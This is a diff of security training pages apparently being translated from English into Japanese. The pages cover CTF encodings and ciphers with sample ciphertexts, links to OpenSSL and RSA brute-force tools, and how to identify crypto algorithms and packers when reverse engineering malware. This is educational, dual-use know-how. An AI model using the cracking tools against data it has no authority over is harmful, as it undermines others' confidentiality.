- **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_] - **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_]
- `pyJ5RgnBE9gm17awU` - `pyJ5RgnBE9gm17awU`
- **Base62** \[_0-9A-Za-z_] - **Base62** \[_0-9A-Za-z_]
- `g2AextRZpBKRBzQ9` - `g2AextRZpBKRBzQ9`
- **Base64** \[_A-Za-z0-9+/=_] - **Base64** \[_A-Za-z0-9+/=_]
- `aG9sYWNhcmFjb2xh` - `aG9sYWNhcmFjb2xh`
- **Base67** \[_A-Za-z0-9-_.!\~\_] - **Base67** \[_A-Za-z0-9-_.!\~\_]
- `NI9JKX0cSUdqhr!p` - `NI9JKX0cSUdqhr!p`
- **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `BQ%]q@psCd@rH0l` - `BQ%]q@psCd@rH0l`
- **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `<~BQ%]q@psCd@rH0l~>` - `<~BQ%]q@psCd@rH0l~>`
- **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_] - **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
- `Xm4y`V\_|Y(V{dF>\` - `Xm4y`V\_|Y(V{dF>\`
- **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` - `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
- **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_] - **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_]
- `Xm4y|V{~Y+V}dF?` - `Xm4y|V{~Y+V}dF?`
- **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_] - **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
- `frDg[*jNN!7&BQM` - `frDg[*jNN!7&BQM`
- **Base100** \[] - **Base100** \[]
- `👟👦👣👘👚👘👩👘👚👦👣👘` - `👟👦👣👘👚👘👩👘👚👦👣👘`
- **Base122** \[] - **Base122** \[]
- `4F ˂r0Xmvc` - `4F ˂r0Xmvc`
- **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_] - **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_]
- `MIc3KiXa+Ihz+lrXMIc3KbCC` - `MIc3KiXa+Ihz+lrXMIc3KbCC`
- **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_] - **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_]
- `DmPsv8J7qrlKEoY7` - `DmPsv8J7qrlKEoY7`
- **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_] - **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_]
- `kLD8iwKsigSalLJ5` - `kLD8iwKsigSalLJ5`
- **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_] - **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_]
- `ayRiIo1gpO+uUc7g` - `ayRiIo1gpO+uUc7g`
- **ESAB46** \[] - **ESAB46** \[]
- `3sHcL2NR8WrT7mhR` - `3sHcL2NR8WrT7mhR`
- **MEGAN45** \[] - **MEGAN45** \[]
- `kLD8igSXm2KZlwrX` - `kLD8igSXm2KZlwrX`
- **TIGO3FX** \[] - **TIGO3FX** \[]
- `7AP9mIzdmltYmIP9mWXX` - `7AP9mIzdmltYmIP9mWXX`
- **TRIPO5** \[] - **TRIPO5** \[]
- `UE9vSbnBW6psVzxB` - `UE9vSbnBW6psVzxB`
- **FERON74** \[] - **FERON74** \[]
- `PbGkNudxCzaKBm0x` - `PbGkNudxCzaKBm0x`
- **GILA7** \[] - **GILA7** \[]
- `D+nkv8C1qIKMErY1` - `D+nkv8C1qIKMErY1`
- **Citrix CTX1** \[] - **Citrix CTX1** \[]
- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` - `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) [http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
### HackerizeXS \[_╫Λ↻├☰┏_] ### HackerizeXS \[_╫Λ↻├☰┏_]
``` ```
╫☐↑Λ↻Λ┏Λ↻☐↑Λ ╫☐↑Λ↻Λ┏Λ↻☐↑Λ
``` ```
- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 デッド: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) ### モールス
### Morse
``` ```
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .- .... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
``` ```
- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 デッド: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
### UUencoder ### UUencoder
``` ```
begin 644 webutils_pl begin 644 webutils_pl
M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%( M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
@ -142,129 +137,107 @@ F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$`
` `
end end
``` ```
- [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu) - [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
### XXEncoder ### XXEncoder
``` ```
begin 644 webutils_pl begin 644 webutils_pl
hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236 hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
5Hol-G2xAEE++ 5Hol-G2xAEE++
end end
``` ```
- [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx) - [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
### YEncoder ### YEncoder
``` ```
=ybegin line=128 size=28 name=webutils_pl =ybegin line=128 size=28 name=webutils_pl
ryvkryvkryvkryvkryvkryvkryvk ryvkryvkryvkryvkryvkryvkryvk
=yend size=28 crc32=35834c86 =yend size=28 crc32=35834c86
``` ```
- [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc) - [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
### BinHex ### BinHex
``` ```
(This file must be converted with BinHex 4.0) (This file must be converted with BinHex 4.0)
:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p :#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
-38K26%'d9J!!: -38K26%'d9J!!:
``` ```
- [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex) - [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
### ASCII85 ### ASCII85
``` ```
<~85DoF85DoF85DoF85DoF85DoF85DoF~> <~85DoF85DoF85DoF85DoF85DoF85DoF~>
``` ```
- [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85) - [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
### Dvorak keyboard ### ドボラックキーボード
``` ```
drnajapajrna drnajapajrna
``` ```
- [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard) - [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard)
### A1Z26 ### A1Z26
Letters to their numerical value 文字をその数値に変換する
``` ```
8 15 12 1 3 1 18 1 3 15 12 1 8 15 12 1 3 1 18 1 3 15 12 1
``` ```
### アフィン暗号エンコード
### Affine Cipher Encode 文字を数に変換 `(ax+b)%26` (_a_ と _b_ はキーで、_x_ は文字) そして結果を文字に戻す
Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and the result back to letter
``` ```
krodfdudfrod krodfdudfrod
``` ```
### SMSコード
### SMS Code **Multitap** [は文字を置き換えます](https://www.dcode.fr/word-letter-change) それぞれのキーコードによって定義された繰り返し数字で、モバイル [電話のキーパッド](https://www.dcode.fr/phone-keypad-cipher) 上でこのモードはSMSを書くときに使用されます。\
例えば: 2=A, 22=B, 222=C, 3=D...\
このコードは、\*\*いくつかの数字が繰り返されているのが見えるので\*\*識別できます。
**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\ このコードをデコードするには: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
For example: 2=A, 22=B, 222=C, 3=D...\
You can identify this code because you will see\*\* several numbers repeated\*\*.
You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) ### ベーコンコード
### Bacon Code
Substitude each letter for 4 As or Bs (or 1s and 0s)
各文字を4つのAまたはBまたは1と0に置き換えます。
``` ```
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000 00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
``` ```
### ルーン
### Runes
![](../images/runes.jpg) ![](../images/runes.jpg)
## Compression ## 圧縮
**Raw Deflate** and **Raw Inflate** (you can find both in Cyberchef) can compress and decompress data without headers. **Raw Deflate** **Raw Inflate** (両方ともCyberchefで見つけることができます) は、ヘッダーなしでデータを圧縮および解凍できます。
## Easy Crypto ## 簡単な暗号
### XOR - Autosolver ### XOR - オートソルバー
- [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/) - [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/)
### Bifid ### ビフィド
A keywork is needed
キーワードが必要です
``` ```
fgaargaamnlunesuneoa fgaargaamnlunesuneoa
``` ```
### Vigenere ### Vigenere
A keywork is needed キーワードが必要です
``` ```
wodsyoidrods wodsyoidrods
``` ```
- [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver) - [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
- [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher) - [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
- [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx) - [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
## Strong Crypto ## 強力な暗号
### Fernet ### フェルネット
2 base64 strings (token and key)
2つのbase64文字列トークンとキー
``` ```
Token: Token:
gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q== gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
@ -272,27 +245,24 @@ gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmC
Key: Key:
-s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI= -s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI=
``` ```
- [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode) - [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
### Samir Secret Sharing ### Samir Secret Sharing
A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_). 秘密はX部分に分割され、回復するにはY部分が必要です (_Y <=X_).
``` ```
8019f8fa5879aa3e07858d08308dc1a8b45 8019f8fa5879aa3e07858d08308dc1a8b45
80223035713295bddf0b0bd1b10a5340b89 80223035713295bddf0b0bd1b10a5340b89
803bc8cf294b3f83d88e86d9818792e80cd 803bc8cf294b3f83d88e86d9818792e80cd
``` ```
[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/) [http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
### OpenSSL brute-force ### OpenSSLブルートフォース
- [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl) - [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
- [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF) - [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF)
## Tools ## ツール
- [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) - [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
- [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom) - [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)

View File

@ -1,184 +1,184 @@
# Cryptographic/Compression Algorithms # 暗号化/圧縮アルゴリズム
## Cryptographic/Compression Algorithms ## 暗号化/圧縮アルゴリズム
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Identifying Algorithms ## アルゴリズムの特定
If you ends in a code **using shift rights and lefts, xors and several arithmetic operations** it's highly possible that it's the implementation of a **cryptographic algorithm**. Here it's going to be showed some ways to **identify the algorithm that it's used without needing to reverse each step**. コードが**右シフトと左シフト、XORおよびいくつかの算術演算**を使用している場合、それは**暗号化アルゴリズム**の実装である可能性が高いです。ここでは、**各ステップを逆にすることなく使用されているアルゴリズムを特定する方法**をいくつか示します。
### API functions ### API関数
**CryptDeriveKey** **CryptDeriveKey**
If this function is used, you can find which **algorithm is being used** checking the value of the second parameter: この関数が使用されている場合、第二のパラメータの値を確認することで**使用されているアルゴリズム**を見つけることができます:
![](<../../images/image (156).png>) ![](<../../images/image (156).png>)
Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) 可能なアルゴリズムとその割り当てられた値の表はここで確認できます: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
**RtlCompressBuffer/RtlDecompressBuffer** **RtlCompressBuffer/RtlDecompressBuffer**
Compresses and decompresses a given buffer of data. 指定されたデータバッファを圧縮および解凍します。
**CryptAcquireContext** **CryptAcquireContext**
From [the docs](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): The **CryptAcquireContext** function is used to acquire a handle to a particular key container within a particular cryptographic service provider (CSP). **This returned handle is used in calls to CryptoAPI** functions that use the selected CSP. [ドキュメントから](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): **CryptAcquireContext**関数は、特定の暗号サービスプロバイダーCSP内の特定のキーコンテナへのハンドルを取得するために使用されます。**この返されたハンドルは、選択されたCSPを使用するCryptoAPI**関数への呼び出しで使用されます。
**CryptCreateHash** **CryptCreateHash**
Initiates the hashing of a stream of data. If this function is used, you can find which **algorithm is being used** checking the value of the second parameter: データストリームのハッシュ化を開始します。この関数が使用されている場合、第二のパラメータの値を確認することで**使用されているアルゴリズム**を見つけることができます:
![](<../../images/image (549).png>) ![](<../../images/image (549).png>)
\ \
Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) 可能なアルゴリズムとその割り当てられた値の表はここで確認できます: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
### Code constants ### コード定数
Sometimes it's really easy to identify an algorithm thanks to the fact that it needs to use a special and unique value. 時には、特別でユニークな値を使用する必要があるため、アルゴリズムを特定するのが非常に簡単です。
![](<../../images/image (833).png>) ![](<../../images/image (833).png>)
If you search for the first constant in Google this is what you get: 最初の定数をGoogleで検索すると、次のような結果が得られます
![](<../../images/image (529).png>) ![](<../../images/image (529).png>)
Therefore, you can assume that the decompiled function is a **sha256 calculator.**\ したがって、逆コンパイルされた関数は**sha256計算機**であると推測できます。\
You can search any of the other constants and you will obtain (probably) the same result. 他の定数を検索すれば、(おそらく)同じ結果が得られます。
### data info ### データ情報
If the code doesn't have any significant constant it may be **loading information from the .data section**.\ コードに重要な定数がない場合、**.dataセクションから情報を読み込んでいる可能性があります**。\
You can access that data, **group the first dword** and search for it in google as we have done in the section before: そのデータにアクセスし、**最初のDWORDをグループ化**し、前のセクションで行ったようにGoogleで検索できます
![](<../../images/image (531).png>) ![](<../../images/image (531).png>)
In this case, if you look for **0xA56363C6** you can find that it's related to the **tables of the AES algorithm**. この場合、**0xA56363C6**を検索すると、**AESアルゴリズムのテーブル**に関連していることがわかります。
## RC4 **(Symmetric Crypt)** ## RC4 **(対称暗号)**
### Characteristics ### 特徴
It's composed of 3 main parts: 3つの主要な部分で構成されています
- **Initialization stage/**: Creates a **table of values from 0x00 to 0xFF** (256bytes in total, 0x100). This table is commonly call **Substitution Box** (or SBox). - **初期化ステージ/**: **0x00から0xFFまでの値のテーブルを作成**します合計256バイト、0x100。このテーブルは一般に**置換ボックス**またはSBoxと呼ばれます。
- **Scrambling stage**: Will **loop through the table** crated before (loop of 0x100 iterations, again) creating modifying each value with **semi-random** bytes. In order to create this semi-random bytes, the RC4 **key is used**. RC4 **keys** can be **between 1 and 256 bytes in length**, however it is usually recommended that it is above 5 bytes. Commonly, RC4 keys are 16 bytes in length. - **スクランブリングステージ**: 前に作成したテーブルを**ループ**し0x100回のイテレーションのループ、各値を**半ランダム**なバイトで修正します。この半ランダムなバイトを作成するために、RC4の**キーが使用されます**。RC4の**キー**は**1バイトから256バイトの長さ**である可能性がありますが、通常は5バイト以上が推奨されます。一般的に、RC4のキーは16バイトの長さです。
- **XOR stage**: Finally, the plain-text or cyphertext is **XORed with the values created before**. The function to encrypt and decrypt is the same. For this, a **loop through the created 256 bytes** will be performed as many times as necessary. This is usually recognized in a decompiled code with a **%256 (mod 256)**. - **XORステージ**: 最後に、平文または暗号文は**前に作成された値とXORされます**。暗号化と復号化の関数は同じです。これには、作成された256バイトを必要な回数だけループします。これは通常、逆コンパイルされたコードで**%256mod 256**として認識されます。
> [!NOTE] > [!NOTE]
> **In order to identify a RC4 in a disassembly/decompiled code you can check for 2 loops of size 0x100 (with the use of a key) and then a XOR of the input data with the 256 values created before in the 2 loops probably using a %256 (mod 256)** > **逆アセンブル/逆コンパイルされたコードでRC4を特定するには、サイズ0x100の2つのループキーを使用を確認し、その後、2つのループで前に作成された256の値と入力データのXORを行うことを確認します。おそらく%256mod 256を使用します。**
### **Initialization stage/Substitution Box:** (Note the number 256 used as counter and how a 0 is written in each place of the 256 chars) ### **初期化ステージ/置換ボックス:**カウンタとして使用される256の数と、256文字の各場所に0が書かれていることに注意
![](<../../images/image (584).png>) ![](<../../images/image (584).png>)
### **Scrambling Stage:** ### **スクランブリングステージ:**
![](<../../images/image (835).png>) ![](<../../images/image (835).png>)
### **XOR Stage:** ### **XORステージ:**
![](<../../images/image (904).png>) ![](<../../images/image (904).png>)
## **AES (Symmetric Crypt)** ## **AES(対称暗号)**
### **Characteristics** ### **特徴**
- Use of **substitution boxes and lookup tables** - **置換ボックスとルックアップテーブルの使用**
- It's possible to **distinguish AES thanks to the use of specific lookup table values** (constants). _Note that the **constant** can be **stored** in the binary **or created**_ _**dynamically**._ - **特定のルックアップテーブル値**定数の使用によりAESを**区別することが可能**です。_定数は**バイナリに保存**されるか、_ _**動的に作成**される可能性があります。_
- The **encryption key** must be **divisible** by **16** (usually 32B) and usually an **IV** of 16B is used. - **暗号化キー**は**16で割り切れる**必要があります通常32Bし、通常は16Bの**IV**が使用されます。
### SBox constants ### SBox定数
![](<../../images/image (208).png>) ![](<../../images/image (208).png>)
## Serpent **(Symmetric Crypt)** ## Serpent **(対称暗号)**
### Characteristics ### 特徴
- It's rare to find some malware using it but there are examples (Ursnif) - それを使用するマルウェアはあまり見られませんが、例Ursnifがあります。
- Simple to determine if an algorithm is Serpent or not based on it's length (extremely long function) - アルゴリズムがSerpentかどうかをその長さ非常に長い関数に基づいて簡単に判断できます。
### Identifying ### 特定
In the following image notice how the constant **0x9E3779B9** is used (note that this constant is also used by other crypto algorithms like **TEA** -Tiny Encryption Algorithm).\ 次の画像では、定数**0x9E3779B9**が使用されていることに注意してください(この定数は**TEA**Tiny Encryption Algorithmなどの他の暗号アルゴリズムでも使用されます\
Also note the **size of the loop** (**132**) and the **number of XOR operations** in the **disassembly** instructions and in the **code** example: また、**ループのサイズ****132**)と**逆アセンブル**命令および**コード**例における**XOR操作の数**にも注意してください:
![](<../../images/image (547).png>) ![](<../../images/image (547).png>)
As it was mentioned before, this code can be visualized inside any decompiler as a **very long function** as there **aren't jumps** inside of it. The decompiled code can look like the following: 前述のように、このコードは**非常に長い関数**として任意の逆コンパイラ内で視覚化できます。内部に**ジャンプ**がないためです。逆コンパイルされたコードは次のように見えることがあります:
![](<../../images/image (513).png>) ![](<../../images/image (513).png>)
Therefore, it's possible to identify this algorithm checking the **magic number** and the **initial XORs**, seeing a **very long function** and **comparing** some **instructions** of the long function **with an implementation** (like the shift left by 7 and the rotate left by 22). したがって、**マジックナンバー**と**初期XOR**を確認し、**非常に長い関数**を見て、**長い関数のいくつかの命令を実装と比較する**ことで、このアルゴリズムを特定することが可能です左に7シフトし、22回左回転するなど
## RSA **(Asymmetric Crypt)** ## RSA **(非対称暗号)**
### Characteristics ### 特徴
- More complex than symmetric algorithms - 対称アルゴリズムよりも複雑です。
- There are no constants! (custom implementation are difficult to determine) - 定数はありません!(カスタム実装は特定が難しい)
- KANAL (a crypto analyzer) fails to show hints on RSA ad it relies on constants. - KANAL暗号アナライザーはRSAに関するヒントを示すことができず、定数に依存しています。
### Identifying by comparisons ### 比較による特定
![](<../../images/image (1113).png>) ![](<../../images/image (1113).png>)
- In line 11 (left) there is a `+7) >> 3` which is the same as in line 35 (right): `+7) / 8` - 行11には`+7) >> 3`があり、行35には`+7) / 8`があります。
- Line 12 (left) is checking if `modulus_len < 0x040` and in line 36 (right) it's checking if `inputLen+11 > modulusLen` - 行12`modulus_len < 0x040`を確認しており、行36`inputLen+11 > modulusLen`を確認しています。
## MD5 & SHA (hash) ## MD5 & SHA(ハッシュ)
### Characteristics ### 特徴
- 3 functions: Init, Update, Final - 3つの関数Init、Update、Final
- Similar initialize functions - 初期化関数が似ています。
### Identify ### 特定
**Init** **Init**
You can identify both of them checking the constants. Note that the sha_init has 1 constant that MD5 doesn't have: 定数を確認することで両方を特定できます。sha_initにはMD5にはない1つの定数があります
![](<../../images/image (406).png>) ![](<../../images/image (406).png>)
**MD5 Transform** **MD5 Transform**
Note the use of more constants より多くの定数の使用に注意してください。
![](<../../images/image (253) (1) (1).png>) ![](<../../images/image (253) (1) (1).png>)
## CRC (hash) ## CRC(ハッシュ)
- Smaller and more efficient as it's function is to find accidental changes in data - 小さく、データの偶発的な変更を見つけるために効率的です。
- Uses lookup tables (so you can identify constants) - ルックアップテーブルを使用します(したがって、定数を特定できます)。
### Identify ### 特定
Check **lookup table constants**: **ルックアップテーブル定数**を確認してください:
![](<../../images/image (508).png>) ![](<../../images/image (508).png>)
A CRC hash algorithm looks like: CRCハッシュアルゴリズムは次のようになります
![](<../../images/image (391).png>) ![](<../../images/image (391).png>)
## APLib (Compression) ## APLib(圧縮)
### Characteristics ### 特徴
- Not recognizable constants - 認識可能な定数はありません。
- You can try to write the algorithm in python and search for similar things online - アルゴリズムをPythonで書いて、オンラインで類似のものを検索してみることができます。
### Identify ### 特定
The graph is quiet large: グラフはかなり大きいです:
![](<../../images/image (207) (2) (1).png>) ![](<../../images/image (207) (2) (1).png>)
Check **3 comparisons to recognise it**: それを認識するための**3つの比較**を確認してください:
![](<../../images/image (430).png>) ![](<../../images/image (430).png>)

View File

@ -1,24 +1,24 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
# Identifying packed binaries # パックされたバイナリの識別
- **lack of strings**: It's common to find that packed binaries doesn't have almost any string - **文字列の欠如**: パックされたバイナリにはほとんど文字列がないことが一般的です。
- A lot of **unused strings**: Also, when a malware is using some kind of commercial packer it's common to find a lot of strings without cross-references. Even if these strings exist that doesn't mean that the binary isn't packed. - **未使用の文字列**: また、マルウェアが商業用パッカーを使用している場合、相互参照のない多くの文字列が見つかることが一般的です。これらの文字列が存在しても、バイナリがパックされていないことを意味するわけではありません。
- You can also use some tools to try to find which packer was used to pack a binary: - バイナリをパックするために使用されたパッカーを特定するために、いくつかのツールを使用することもできます:
- [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml) - [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
- [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml) - [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
- [Language 2000](http://farrokhi.net/language/) - [Language 2000](http://farrokhi.net/language/)
# Basic Recommendations # 基本的な推奨事項
- **Start** analysing the packed binary **from the bottom in IDA and move up**. Unpackers exit once the unpacked code exit so it's unlikely that the unpacker passes execution to the unpacked code at the start. - **IDAでパックされたバイナリを** **下から上に** **分析し始めます**。アンパッカーはアンパックされたコードが終了すると終了するため、アンパッカーが最初にアンパックされたコードに実行を渡すことは考えにくいです。
